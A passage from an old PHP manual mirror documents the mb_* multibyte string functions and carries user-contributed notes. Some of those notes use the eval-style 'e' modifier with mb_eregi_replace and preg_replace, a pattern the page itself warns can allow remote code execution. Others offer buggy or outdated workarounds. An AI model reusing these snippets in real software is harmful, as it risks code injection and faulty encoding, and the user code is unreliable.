        if(!is_int($char)) return false;
        return ($char & 0xF0) == 0xE0;
    }

    function valid_4byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF8) == 0xF0;
    }

    function valid_nextbyte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xC0) == 0x80;
    }

    function valid_utf8($string) {
        $len = strlen($string);
        $i = 0;
        while( $i < $len ) {
            $char = ord(substr($string, $i++, 1));
            if(valid_1byte($char)) {    // continue
                continue;
            } else if(valid_2byte($char)) { // check 1 byte
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_3byte($char)) { // check 2 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_4byte($char)) { // check 3 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } // goto next char
        }
        return true; // done
    }

for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png


Set/Get character encoding detection order

  • « mb_detect_encoding
  • mb_encode_mimeheader »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get character encoding detection order

mb_detect_order

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_order — Set/Get character encoding detection order

Description

mixed mb_detect_order ([ mixed $encoding_list = mb_detect_order() ] )

Sets the automatic character encoding detection order to encoding_list.

Parameters

encoding_list

encoding_list is an array or comma separated list of character encoding. See supported encodings.

If encoding_list is omitted, it returns the current character encoding detection order as array.

This setting affects mb_detect_encoding() and mb_send_mail().

mbstring currently implements the following encoding detection filters. If there is an invalid byte sequence for the following encodings, encoding detection will fail.

UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

For ISO-8859-*, mbstring always detects as ISO-8859-*.

For UTF-16, UTF-32, UCS2 and UCS4, encoding detection will fail always.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mb_detect_order() examples

<?php
/* Set detection order by enumerated list */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* Set detection order by array */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* Display current detection order */
echo implode(", ", mb_detect_order());
?>

Example #2 Example showing useless detect orders

; Always detect as ISO-8859-1
detect_order = ISO-8859-1, UTF-8

; Always detect as UTF-8, since ASCII/UTF-7 values are
; valid for UTF-8
detect_order = UTF-8, ASCII, UTF-7

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_input() - Detect HTTP input character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_send_mail() - Send encoded mail

User Contributed Notes

There are no user contributed notes for this page.


Encode string for MIME header

  • « mb_detect_order
  • mb_encode_numericentity »
  • PHP Manual
  • Multibyte String Functions
  • Encode string for MIME header

mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_mimeheader — Encode string for MIME header

Description

string mb_encode_mimeheader ( string $str [, string $charset = mb_internal_encoding() [, string $transfer_encoding = "B" [, string $linefeed = "\r\n" [, int $indent = 0 ]]]] )

Encodes a given string str by the MIME header encoding scheme.

Parameters

str

The string being encoded.

charset

charset specifies the name of the character set in which str is represented in. The default value is determined by the current NLS setting (mbstring.language). mb_internal_encoding() should be set to same encoding.

transfer_encoding

transfer_encoding specifies the scheme of MIME encoding. It should be either "B" (Base64) or "Q" (Quoted-Printable). Falls back to "B" if not given.

linefeed

linefeed specifies the EOL (end-of-line) marker with which mb_encode_mimeheader() performs line-folding (a » RFC term, the act of breaking a line longer than a certain length into multiple lines. The length is currently hard-coded to 74 characters). Falls back to "\r\n" (CRLF) if not given.

indent

Indentation of the first line (number of characters in the header before str).

Return Values

A converted version of the string represented in ASCII.

Examples

Example #1 mb_encode_mimeheader() example

<?php
$name = ""; // kanji
$mbox = "kru";
$doma = "gtinn.mon";
$addr = mb_encode_mimeheader($name, "UTF-7", "Q") . " <" . $mbox . "@" . $doma . ">";
echo $addr;
?>

Notes

Note:

This function isn't designed to break lines at higher-level contextual break points (word boundaries, etc.). This behaviour may clutter up the original string with unexpected spaces.

See Also

  • mb_decode_mimeheader() - Decode string in MIME header field

User Contributed Notes

Anonymous 12-Apr-2009 03:19
I could not find a PHP function to MIME encode the name for a n email address.

Input   = "Karl Müller<kmueller@gmx.de>"
Output = "Karl%20M%FCller<kmueller@gmx.de>"

I wrote it on my own:

<?php
// required to encode names in email addresses
// replace " " with "%20"
// replace "ü" with "%FC"
// replace "%" with "%25"      etc....
// Use "%" as Delimiter for MIME
// Use "=" as Delimiter for Quoted Printable
// Input string must be UTF8 encoded
public static function EncodeMime($Text, $Delimiter)
{
    $Text = utf8_decode($Text);
    $Len  = strlen($Text);
    $Out  = "";
    for ($i=0; $i<$Len; $i++)
    {
        $Chr = substr($Text, $i, 1);
        $Asc = ord($Chr);

        if ($Asc > 0x255) // Unicode not allowed
        {
            $Out .= "?";
        }
        else if ($Chr == " " || $Chr == $Delimiter || $Asc > 127)
        {
            $Out .= $Delimiter . strtoupper(bin2hex($Chr));
        }
        else $Out .= $Chr;
    }
    return $Out;
}
?>
tokul at users dot sourceforge dot net 30-Mar-2008 01:26
mb_encode_mimeheader() depends on correct mbstring.internal_encoding setting. It tries to convert $str from internal encoding to $charset. If you ignore mbstring internal encoding, function might encode strings incorrectly even when $str character set matches $charset
chappy at citromail dot hu 05-Jun-2006 01:33
I found a bad function.

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    preg_match_all('/(\\w*[\\x80-\\xFF]+\\w*)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\\x80-\\xFF])/e', '"=" . strtoupper(dechex(ord("\\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }
    return $input;
}
?>

This function should be used:

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    $m=preg_match_all('/(\w*[\x80-\xFF]+\w*)/', $input, $matches);
    if($m)$input=mb_encode_mimeheader($input,$charset, 'Q');
    return $input;
}
?>
stormflyCUT at hyh dot pl 05-May-2006 01:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
paravoid 02-Jan-2006 02:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
    if (!$charset)
        $charset = mb_internal_encoding();

    $start = "=?$charset?B?";
    $end = "?=";
    $encoded = '';

    /* Each line must have length <= 75, including $start and $end */
    $length = 75 - strlen($start) - strlen($end);
    /* Average multi-byte ratio */
    $ratio = mb_strlen($string, $charset) / strlen($string);
    /* Base64 has a 4:3 ratio */
    $magic = $avglength = floor(3 * $length * $ratio / 4);

    for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
        $magic = $avglength;
        $offset = 0;
        /* Recalculate magic for each line to be 100% sure */
        do {
            $magic -= $offset;
            $chunk = mb_substr($string, $i, $magic, $charset);
            $chunk = base64_encode($chunk);
            $offset++;
        } while (strlen($chunk) > $length);
        if ($chunk)
            $encoded .= ' '.$start.$chunk.$end.$linefeed;
    }
    /* Chomp the first space and the last linefeed */
    $encoded = substr($encoded, 1, -strlen($linefeed));

    return $encoded;
}
nigrez at nius dot waw dot pl 14-Dec-2005 12:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
    $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

    $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org 07-Nov-2005 02:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
    $pos = 0;
    // after 36 single bytes characters if then comes MB, it is broken
    // but I trimmed it down to 24, to stay 100% < 76 chars per line
    $split = 24;
    while ($pos < mb_strlen($string, $encoding))
    {
        $output = mb_strimwidth($string, $pos, $split, "", $encoding);
        $pos += mb_strlen($output, $encoding);
        $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
        if ($_string)
            $_string .= "\r\n";
        $_string .= $_string_encoded;
    }
    $string = $_string;
    return $string;
}

?>
chappy at citromail dot hu 29-Oct-2005 08:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
    $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
    return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, �','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org 16-Sep-2005 08:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
    $string_array = array();
    $pos = 0;
    $row = 0;
    $mode = 0;

    while ($pos < mb_strlen($string)) {
        $word = mb_strimwidth($string, $pos, 1);
        if (!$word) {
            $word = mb_strimwidth($string, $pos, 2);
        }
        if (mb_ereg_match("[ -~]", $word)) {    // ascii
            if ($mode != 1) {
                $row++;
                $mode = 1;
                $string_array[$row] = NULL;
            }
        } else {                                // multibyte
            if ($mode != 2) {
                $row++;
                $mode = 2;
                $string_array[$row] = NULL;
            }
        }
        $string_array[$row] .= $word;
        $pos++;
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    foreach ($string_array as $key => $value) {
        $value = mb_convert_encoding($value, $encoding);
        $string_array[$key] = mb_encode_mimeheader($value, $encoding);
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com 15-Mar-2005 10:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
    mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org 30-Jul-2003 09:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works
masataka 12-Apr-2003 04:46
second parameter 'charset' is character encoding name, but default must be UTF-8 on PHP4.3.1.


Encode character to HTML numeric string reference

  • « mb_encode_mimeheader
  • mb_encoding_aliases »
  • PHP Manual
  • Multibyte String Functions
  • Encode character to HTML numeric string reference

mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_numericentity — Encode character to HTML numeric string reference

Description

string mb_encode_numericentity ( string $str , array $convmap [, string $encoding = mb_internal_encoding() [, bool $is_hex = FALSE ]] )

Converts specified character codes in string str from character code to HTML numeric character reference.

Parameters

str

The string being encoded.

convmap

convmap is array specifies code area to convert.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

is_hex

Return Values

The converted string.

Changelog

Version | Description
5.4.0 | Added is_hex parameter.

Examples

Example #1 convmap example

<?php
$convmap = array (
 int start_code1, int end_code1, int offset1, int mask1,
 int start_code2, int end_code2, int offset2, int mask2,
 ........
 int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN, then
// it converts value to numeric string reference.
?>

Examples

Example #2 mb_encode_numericentity() example

<?php
/* Convert Left side of ISO-8859-1 to HTML numeric character reference */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* Convert user defined SJIS-win code in block 95-104 to numeric
   string reference */
$convmap = array(
       0xe000, 0xe03e, 0x1040, 0xffff,
       0xe03f, 0xe0bb, 0x1041, 0xffff,
       0xe0bc, 0xe0fa, 0x1084, 0xffff,
       0xe0fb, 0xe177, 0x1085, 0xffff,
       0xe178, 0xe1b6, 0x10c8, 0xffff,
       0xe1b7, 0xe233, 0x10c9, 0xffff,
       0xe234, 0xe272, 0x110c, 0xffff,
       0xe273, 0xe2ef, 0x110d, 0xffff,
       0xe2f0, 0xe32e, 0x1150, 0xffff,
       0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

See Also

  • mb_decode_numericentity() - Decode HTML numeric string reference to character

User Contributed Notes

fboes at berlinonline dot de 11-Aug-2009 05:01
To improve handling of EURO-Symbols in dan at boxuk dot com's function add the following line to $convmap:

128,128,0, $f,
Janis 30-Jan-2009 11:32
To get Unicode numbers out of a UTF-8 string, this can be used, for example:

<?php
print mb_encode_numericentity ('sāш日', array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
?>
dan at boxuk dot com 26-Feb-2003 06:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
    $f = 0xffff;
    $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
    %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
    %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
    8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
    8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
    8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
    8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
    8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
    8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
    8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
    8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
    8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
    8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
    8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
    8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
    8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
    9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
    9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
    8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
    8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
    8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
    8364, 8364, 0, $f);

    return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}


Get aliases of a known encoding type

  • « mb_encode_numericentity
  • mb_ereg_match »
  • PHP Manual
  • Multibyte String Functions
  • Get aliases of a known encoding type

mb_encoding_aliases

(PHP 5 >= 5.3.0)

mb_encoding_aliases — Get aliases of a known encoding type

Description

array mb_encoding_aliases ( string $encoding )

Returns an array of aliases for a known encoding type.

Parameters

encoding

The encoding type being checked, for aliases.

Return Values

Returns a numerically indexed array of encoding aliases on success, or FALSE on failure

Errors/Exceptions

Emits an E_WARNING level error if encoding is unknown.

Examples

Example #1 mb_encoding_aliases() example

<?php
$encoding        = 'ASCII';
$known_encodings = mb_list_encodings();

if (in_array($encoding, $known_encodings)) {

    $aliases = mb_encoding_aliases($encoding);
    print_r($aliases);

} else {

    echo "Unknown ($encoding) encoding.\n";

}
?>

The above example will output something similar to:

Array
(
    [0] => ANSI_X3.4-1968
    [1] => iso-ir-6
    [2] => ANSI_X3.4-1986
    [3] => ISO_646.irv:1991
    [4] => US-ASCII
    [5] => ISO646-US
    [6] => us
    [7] => IBM367
    [8] => cp367
    [9] => csASCII
)

See Also

  • mb_list_encodings() - Returns an array of all supported encodings

User Contributed Notes

There are no user contributed notes for this page.


Regular expression match for multibyte string

  • « mb_encoding_aliases
  • mb_ereg_replace_callback »
  • PHP Manual
  • Multibyte String Functions
  • Regular expression match for multibyte string

mb_ereg_match

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_match — Regular expression match for multibyte string

Description

bool mb_ereg_match ( string $pattern , string $string [, string $option = "msr" ] )

A regular expression match for a multibyte string

Parameters

pattern

The regular expression pattern.

string

The string being evaluated.

option

Return Values

Returns TRUE if string matches the regular expression pattern, FALSE if not.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

patryk dot szczyglowski at gmail dot com 12-Dec-2008 06:54
'option' parameter has the same syntax as 'option' parameter from 'mb_regex_set_options' function.
Anonymous 18-Oct-2008 03:52
Note that this function matches a string from the beginning only (though not necessarily till the end):

<?php

$test = mb_ereg_match("a", "some apples"); // returns false
$test = mb_ereg_match("a", "a kiwi");      // returns true

?>

If you want to check for a match anywhere in the string, use the wild-card & repeat operators .*

<?php

$test = mb_ereg_match(".*a", "some apples"); // returns true

?>


Perform a regular expresssion seach and replace with multibyte support using a callback

  • « mb_ereg_match
  • mb_ereg_replace »
  • PHP Manual
  • Multibyte String Functions
  • Perform a regular expresssion seach and replace with multibyte support using a callback

mb_ereg_replace_callback

(PHP 5 >= 5.4.1)

mb_ereg_replace_callback — Perform a regular expresssion seach and replace with multibyte support using a callback

Description

string mb_ereg_replace_callback ( string $pattern , callable $callback , string $string [, string $option = "msr" ] )

Scans string for matches to pattern, then replaces the matched text with the output of callback function.

The behavior of this function is almost identical to mb_ereg_replace(), except for the fact that instead of replacement parameter, one should specify a callback.

Parameters

pattern

The regular expression pattern.

Multibyte characters may be used in pattern.

callback

A callback that will be called and passed an array of matched elements in the subject string. The callback should return the replacement string.

You'll often need the callback function for a mb_ereg_replace_callback() in just one place. In this case you can use an anonymous function to declare the callback within the call to mb_ereg_replace_callback(). By doing it this way you have all information for the call in one place and do not clutter the function namespace with a callback function's name not used anywhere else.

string

The string being checked.

option

Matching condition can be set by option parameter. If i is specified for this parameter, the case will be ignored. If x is specified, white space will be ignored. If m is specified, match will be executed in multiline mode and line break will be included in '.'. If p is specified, match will be executed in POSIX mode, line break will be considered as normal character. Note that e cannot be used for mb_ereg_replace_callback().

Return Values

The resultant string on success, or FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

Examples

Example #1 mb_ereg_replace_callback() example

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// the callback function
function next_year($matches)
{
  // as usual: $matches[0] is the complete match
  // $matches[1] the match for the first subpattern
  // enclosed in '(...)' and so on
  return $matches[1].($matches[2]+1);
}
echo mb_ereg_replace_callback(
            "(\d{2}/\d{2}/)(\d{4})",
            "next_year",
            $text);

?>

The above example will output:

April fools day is 04/01/2003
Last christmas was 12/24/2002

Example #2 mb_ereg_replace_callback() using anonymous function supported in PHP 5.3.0 or later

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";

echo mb_ereg_replace_callback(
            "(\d{2}/\d{2}/)(\d{4})",
            function ($matches) {
               return $matches[1].($matches[2]+1);
            },
            $text);
?>

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_replace() - Replace regular expression with multibyte support
  • Anonymous functions
  • information about the callback type

User Contributed Notes

There are no user contributed notes for this page.


Replace regular expression with multibyte support

  • « mb_ereg_replace_callback
  • mb_ereg_search_getpos »
  • PHP Manual
  • Multibyte String Functions
  • Replace regular expression with multibyte support

mb_ereg_replace

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_replace — Replace regular expression with multibyte support

Description

string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] )

Scans string for matches to pattern, then replaces the matched text with replacement

Parameters

pattern

The regular expression pattern.

Multibyte characters may be used in pattern.

replacement

The replacement text.

string

The string being checked.

option
Matching condition can be set by option parameter. If i is specified for this parameter, the case will be ignored. If x is specified, white space will be ignored. If m is specified, match will be executed in multiline mode and line break will be included in '.'. If p is specified, match will be executed in POSIX mode, line break will be considered as normal character. If e is specified, replacement string will be evaluated as PHP expression.

Return Values

The resultant string on success, or FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

Warning

Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()). Not taking care of this will most likely create remote code execution vulnerabilities in your application.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_eregi_replace() - Replace regular expression with multibyte support ignoring case

User Contributed Notes

marco at thenetworksolution dot it 03-Feb-2014 11:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}

Dr. Marco Marsala
Network Solution srl
http://www.realizzazionesitigenova.it
marco at thenetworksolution dot it 03-Feb-2014 11:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}
trng 15-Jun-2011 06:22
You can use \\n for capture group in replacement.
And you can NOT use $n notation (unlike preg_replace function).
Pluche 30-Dec-2010 01:17
Unlike preg_replace, mb_ereg_replace doesn't use separators

Exemple with preg_replace :
<?php $data = preg_replace("/[^A-Za-z0-9\.\-]/","",$data); ?>

Exemple with mb_ereg_replace :
<?php $data = mb_ereg_replace("[^A-Za-z0-9\.\-]","",$data); ?>
daemoneye at gmail dot com 03-Feb-2009 11:53
I got a pretty nasty error while trying to parse table rows(all contents were set to UTF-8) from the database for a dictionary project. The idea was to get all the rows from the first table (that is a table with bulgarian phrase in the first field, and its translation in english, french and german in the next fields). I needed to index all the bulgarian words that are found in the table to make an intelligent search. And that is where my headache started.

First of all, even with mb_strtolower() a lot of cyrillic characters went corrupted (ex: 'т,ъ,у,ф,б,г,з,ж,' etc...). After an hour of different attempts I got such a solution:

<?php

mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

$rows = $db->getRows();

$contents = array();
foreach ($rows as $eachRow)
{
    $cleared = str_replace($commonWords, ' ', mb_strtolower(stripslashes($eachRow['bulgarian']), 'UTF-8' ));
    if (trim($cleared) != '') $contents[] = trim($cleared);
}

$list = array();
foreach ($contents as $eachRow)
{
    $exploded = explode(' ', $eachRow);
    foreach ($exploded as $eachExpl)
    {
        $eachExpl = mb_ereg_replace('[^а-я ]',' ', $eachExpl);
        if (trim($eachExpl) != '')
            if (!in_array($eachExpl, $list, true))    $list[] = trim($eachExpl);
    }
}

?>

To work properly I got to set all the internal encoding settings to UTF-8. Else the default Latin-1 got half my database with missing characters.

I am posting this solution just in case someone has encountered a similar problem. Hope it helps you in case you need something like that.
keizo at gomo dot jp 24-Jul-2008 06:32
<?php
$pattern = "([あ-ん]+)[0-9]+";
$string = mb_ereg_replace($pattern, '「\\1」:\\0', $string);
?>

you can use \\n for capture group in replacement
gmx dot net at ulrich dot mierendorff 01-Jul-2008 04:39
If you want to replace characters like "ä" or "ø" you can use mb_ereg_replace, but it is very slow. str_replace is much faster and also works with characters like "ä" or "ø"!

I think this has something to with the fact that str_replace works on byte level and does not care about characters.
I hope that can help.
04-Dec-2006 05:36
'i' option does not work correctly with multibyte characters. The function does not locate/replace the multibyte string if it's different case then specified on multibyte needle which is in different case.
squeegee 01-Nov-2006 04:41
well, if you just calculated the length of the find and replace strings once instead of on every loop, it would likely speed it up a lot.
mpnicholas [@t] gmail (dot) com 10-Jul-2006 12:09
Regarding the mb_str_ireplace() function: I benchmarked it against mb_eregi_replace() for single-character substitution, and it was significantly slower. Despite avoiding the ereg call, I think the while loop ends slowing you down too much for this to be practical.
vondrej(at)gmail(dot)com 27-Feb-2006 12:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

<?php
/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
    mb_regex_encoding($encoding);
    $pattern = array('<', '>', '"', '\'');
    $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
    for ($i=0; $i<sizeof($pattern); $i++) {
        $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
    }
    return $str;
}
?>
faxe at neostrada dot pl 10-Aug-2005 12:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

<?php
function mb_str_ireplace($co, $naCo, $wCzym)
{
    $wCzymM = mb_strtolower($wCzym);
    $coM    = mb_strtolower($co);
    $offset = 0;

        while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset)))
    {
        $offset = $poz + mb_strlen($naCo);
        $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
        $wCzymM = mb_strtolower($wCzym);
    }

    return $wCzym;
}
?>

[thiago - EDITOR NOTE: This function has improvements from d-okumura [aat] fi{dot}kyd[dot]co.jp]


Returns start point for next regular expression match

  • « mb_ereg_replace
  • mb_ereg_search_getregs »
  • PHP Manual
  • Multibyte String Functions
  • Returns start point for next regular expression match

mb_ereg_search_getpos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_getpos — Returns start point for next regular expression match

Description

int mb_ereg_search_getpos ( void )

Returns the start point for the next regular expression match.

Parameters

This function has no parameters.

Return Values

mb_ereg_search_getpos() returns
the point to start regular expression match for
mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs(). The position is
represented by bytes from the head of string.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_setpos() - Set start point of next regular expression match

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the result from the last multibyte regular expression match

  • « mb_ereg_search_getpos
  • mb_ereg_search_init »
  • PHP Manual
  • Multibyte String Functions
  • Retrieve the result from the last multibyte regular expression match

mb_ereg_search_getregs

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match

Description

array mb_ereg_search_getregs ( void )

Retrieve the result from the last multibyte regular expression match

Parameters

This function has no parameters.

Return Values

